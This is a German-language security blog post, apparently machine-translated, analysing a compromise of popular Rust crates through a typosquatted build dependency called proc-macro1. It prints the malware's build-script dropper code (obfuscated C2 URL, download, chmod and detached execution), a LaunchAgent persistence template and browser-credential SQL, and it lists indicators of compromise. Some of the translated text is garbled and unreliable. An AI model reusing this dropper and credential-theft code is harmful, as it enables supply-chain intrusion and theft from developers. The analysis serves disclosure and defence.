Am 20. August stellten wir fest, dass mehrere beliebte Rust-Crates vom selben Entwickler stammten. Nur-Anhängen-Vektor (4 Millionen Downloads), arrayref (244 Millionen Downloads) und Internierung (14 Millionen Downloads) wurden kompromittiert. Der Angreifer fügte eine schädliche Abhängigkeit zu einem Paket namens hinzu. proc-macro1Diese Abhängigkeit lädt während des Build-Prozesses eine externe Payload herunter und führt sie auf dem Rechner des Entwicklers aus. Da diese Abhängigkeit zur Build-Zeit ausgeführt wird, genügt es, ein Projekt zu kompilieren, das eine dieser Bibliotheken einbindet, um die Infektion auszulösen – ohne dass die eigentliche Funktionalität der Bibliothek aufgerufen werden muss.
Dies ist deutlich bedeutender als der vorherige Onering-Kisten-Kompromittierungsfall, über den wir im Juni berichtet haben. Diesmal ist der Wirkungsradius wesentlich größer, was ihn gemessen an den Downloadzahlen zum größten Rust-Kisten-Kompromittierungsfall macht, den wir bisher beobachtet haben.
Was geschah
Wir haben zunächst erwischt proc-macro1 in unserer Pipeline als neues Paket, das verdächtige Aktivitäten ausführt, indem es eine Datei von einem Remote-Server herunterlädt und ausführt. Der Name ist ein Typosquat von proc-macro2, eine der am weitesten verbreiteten Crates im Rust-Ökosystem, und das Paket kopiert die Beschreibung, den Namen des Autors und die Dokumentation der Original-Crate, um als das authentische Projekt durchzugehen. Angesichts der geringen Downloadzahl schenkten wir dem zunächst keine große Beachtung. Innerhalb derselben Stunde sahen wir jedoch mehrere populäre Pakete desselben Entwicklers. Nur-Anhängen-Vektor, arrayref, und Internierung plötzlich von … abhängig sein proc-macro1. Genau das hat aus einem gewöhnlichen Typosquatting-Vorfall einen echten Vorfall in der Lieferkette gemacht.
Die kompromittierten Crates sehen auf den ersten Blick sauber aus. Ihr Bibliotheksquellcode ist der originale Upstream-Code, und keiner von ihnen verweist auf … proc-macro1 an beliebiger Stelle im Quellcode. Der gesamte Kompromiss besteht aus einer einzigen eingefügten Zeile in jedem Manifest:
[Abhängigkeiten]
proc-macro1 = "1.0.107"Die schädliche Logik befindet sich vollständig in der build.rs Datei von proc-macro1, das Cargo während eines Builds automatisch kompiliert und ausführt. Das Build-Skript verschleiert sein Netzwerkziel als Base64-Fragmente, um String-Scanner zu umgehen:
// SRC wird zu https://23[.]254[.]165[.]112:9089/ dekodiert
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", „MTEyOg==“, „OTA4OS8=“];
// END wird zu 23[.]254[.]165[.]112:443 dekodiert
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", „NDQz“];Bei der Erstellung wählt das Programm eine Payload aus, die genau auf das Betriebssystem und die CPU-Architektur des Opfers zugeschnitten ist (Linux x86_64, Windows x86_64, macOS x86_64, macOS aarch64), und lädt diese anschließend über HTTPS mit einer einfachen GET-Anfrage herunter. Unter Unix und macOS schreibt es die heruntergeladenen Bytes auf die Festplatte, kennzeichnet die Datei als ausführbar und startet sie im Hintergrund, wobei die Ausgabe unterdrückt wird:
fn run_unix_payload(bytes: Vec<u8>) {
let path = PathBuf::from("/tmp/rust-setup");
std::fs::write(&path, &bytes).expect("failed to write payload");
// chmod +x /tmp/rust-setup
Command::new("chmod").args(["+x", path.to_str().unwrap()]).status().unwrap();
// execute detached, handing it the second address (23[.]254[.]165[.]112:443)
Command::new(&path)
.arg(end_url())
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.expect("failed to spawn payload");
}Unter Windows wird ein PowerShell-Skript geschrieben und über einen WScript- und .vbs-Launcher im Hintergrund gestartet. Wie im Kommentar zum Code selbst vermerkt, wurde diese Technik gewählt, um das Job-Objekt von „ escape “ von Cargo so zu gestalten, dass der gestartete Prozess auch nach Abschluss des Builds weiterläuft.
Wir haben außerdem ein ähnliches schädliches Paket namens proc-macro-de, veröffentlicht unter dem Namen des Autors daveroundy. Dieser Autorenname ahmt nach droundy, der rechtmäßige Verantwortliche für die kompromittierten Pakete, was darauf hindeutet, dass der Angreifer zusätzliche, ähnlich aussehende Pakete erstellte und sich als derselbe Verantwortliche ausgab, um ihnen Glaubwürdigkeit zu verleihen.
Die Payload
Wir haben zwei der vier Plattform-Builds erhalten, nämlich den Linux x86_64 ELF (rust-crate_0.1.0) und die macOS-aarch64-Mach-O-Datei (rust-crate_0.4.0). Das uns übermittelte Windows PowerShell-Beispiel war eine Datei mit einer Größe von null Byte und enthielt daher keinen analysierbaren Inhalt. Bei beiden nativen Binärdateien handelt es sich um ausführbare Rust-Dateien, und beide gehören zur selben Malware-Familie, wurden jedoch für unterschiedliche Ziele kompiliert.
Sein Befehls- und Kontrollserver ist nicht fest in die Binärdatei eingebettet. Stattdessen liest die Binärdatei ihn aus dem Befehlszeilenargument aus, mit dem sie gestartet wurde; dabei handelt es sich genau um die zweite Adresse (23[.]254[.]165[.]112:443), dass die build.rs Der Dropper wird übertragen, wenn er die Nutzlast generiert. Die IP-Adresse ist also ein Indikator für diesen Angriff, und dieselbe Binärdatei könnte in Zukunft mit einem anderen C2-Server wiederverwendet werden.
Wir haben dies in der macOS-Version durch Disassemblierung bestätigt. Der Stealer liest seine eigenen Prozessargumente über _NSGetArgc und _NSGetArgv, fasst sie in einer Liste zusammen und fügt später einen Host-Wert in einen URL-Aufbaupfad ein: https://{host}/49890878.
Infostealer
Die Nutzlast enthält einen Infostealer, der es auf die von Chromium-basierten Browsern gespeicherten Anmeldedaten abgesehen hat. Die macOS-Version verweist auf die Profilpfade von Google Chrome, Brave und Microsoft Edge und enthält eingebettetes SQL-Code, der die gespeicherten Anmeldedaten direkt aus der Anmeldedatenbank des Browsers ausliest:
SELECT DISTINCT origin_url FROM logins WÄHREND origin_url IST NICHT NULL ...
SELECT DISTINCT Benutzername_Wert FROM logins WÄHREND Benutzername_Wert IS NICHT NULL ...Außerdem wird auf den Speicher von Browser-Erweiterungen Bezug genommen (Lokale Erweiterungs-Einstellungen), wo viele browserbasierte Kryptowährungs-Wallets ihre Daten speichern; daher umfasst der Erfassungsumfang sowohl gespeicherte Anmeldedaten als auch Wallet-Inhalte.
Persistenz
Unter macOS enthält der Build eine Vorlage für eine LaunchAgent-Eigenschaftsliste und die Bibliothek/LaunchAgents Pfadkomponente zusammen mit einer RunAtLoad Schlüssel. Die Vorlage wird zur Laufzeit ausgefüllt und ist so eingerichtet, dass ein Shell-Befehl über /bin/zsh -c.
Wir haben die eingebettete Vorlage wiederhergestellt. Die Bezeichnung und die Befehlszeile sind Platzhalter, die beim Speichern des Agenten auf der Festplatte ausgefüllt werden:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>x</string>
<key>ProgramArguments</key>
<array>
<string>/bin/zsh</string>
<string>-c</string>
<string>D</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>Das Vorhandensein dieser Vorlage und die Bibliothek/LaunchAgents Der Pfad ist ein deutlicher Hinweis darauf, dass die Nutzlast so konfiguriert ist, dass sie einen LaunchAgent auf Benutzerebene installiert, um die Persistenz zu gewährleisten.
Führung und Kontrolle
Wir haben eindeutige Hinweise darauf, dass die Payload auch einen leichtgewichtigen Remote-Befehlsausführer enthält. Nach dem Start meldet er sich beim Server an und sendet dabei einen strukturierten Satz von Feldern, die den infizierten Rechner identifizieren, darunter eine ID, die primäre URL und grundlegende Host-Details wie os_type, os_ver, os_arch, platform_ver, App, und E-Mail. Der Server kann daraufhin mit Aufgaben antworten, und die Nutzlast leitet diese an einen internen Dispatcher weiter. Der Dispatcher unterstützt einen kleinen festen Satz von Befehlen. Die Namen, die wir ermittelt haben, lauten minicfg, Start-up, runscript, Schale, und ShellX. Das runscript, Schale, und ShellX sind die Ausführungsbefehle. Wir haben außerdem eine Primitive für zeitgesteuertes Warten gefunden, was darauf hindeutet, dass die Nutzlast den C2-Server wahrscheinlich in regelmäßigen Abständen abfragt, um nach neuen Befehlen zu suchen, anstatt ihn nur einmal zu kontaktieren.
Ähnlichkeiten mit den Axios- und Mastra-Angriffen
Diese Kampagne ähnelt stark den Axios- und Mastra- Kompromittierungen, die wir auf npm beobachtet haben und die beide mit Nordkorea/Sapphire Sleet in Verbindung stehen. Derselbe Bedrohungsakteur dringt nun in Rust ein.
Anstatt den Code des kompromittierten Pakets selbst zu verändern, lässt der Angreifer ihn unberührt und fügt eine einzige bösartige Abhängigkeit hinzu. plain-crypto-js im Falle von Axios, easy-day-js für Mastra und proc-macro1 hier in diesem Angriff.
Die Payload funktioniert auf dieselbe Weise. Anstatt den C2-Server fest im Binärcode zu kodieren, liest sie die Adresse aus dem Argument, mit dem sie gestartet wird, genau wie bei den vorherigen Axios- und Mastra-Angriffen. Sie sendet außerdem ein Beacon an denselben Server. /49890878 zuvor verwendeter Endpunkt.
Wie Axios und Mastra, der C2-Server (23[.]254[.]165[.]112) wurde auch auf der Hostwinds VPS-Infrastruktur eingerichtet.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Indikatoren für Kompromittierung
Betroffene Pakete
proc-macro-de1.0.10 (schädliche Abhängigkeit)proc-macro11.0.107 (schädliche Abhängigkeit)Nur-Anhängen-VektorVersion 0.1.9, kompromittiert (4 Mio. Downloads)arrayrefVersion 0.3.10, kompromittiert (244 Millionen Downloads)InternierungVersion 0.8.7, kompromittiert (14 Mio. Downloads)
Netzwerkindikatoren
23[.]254[.]165[.]112:9089- Host für die Bereitstellung der Nutzdaten23[.]254[.]165[.]112:443- Der C2-Host wurde als Argument an die ausgeführte Payload übergeben
Dateikennzeichen
Die Binärdateien der Nutzlast proc-macro1 Downloads, sank auf /tmp/rust-setup unter Linux und macOS:
rust-crate_0.1.0(Linux x86_64 ELF)- SHA-256:
408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434
- SHA-256:
rust-crate_0.4.0(macOS aarch64 Mach-O)- SHA-256:
74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306
- SHA-256:

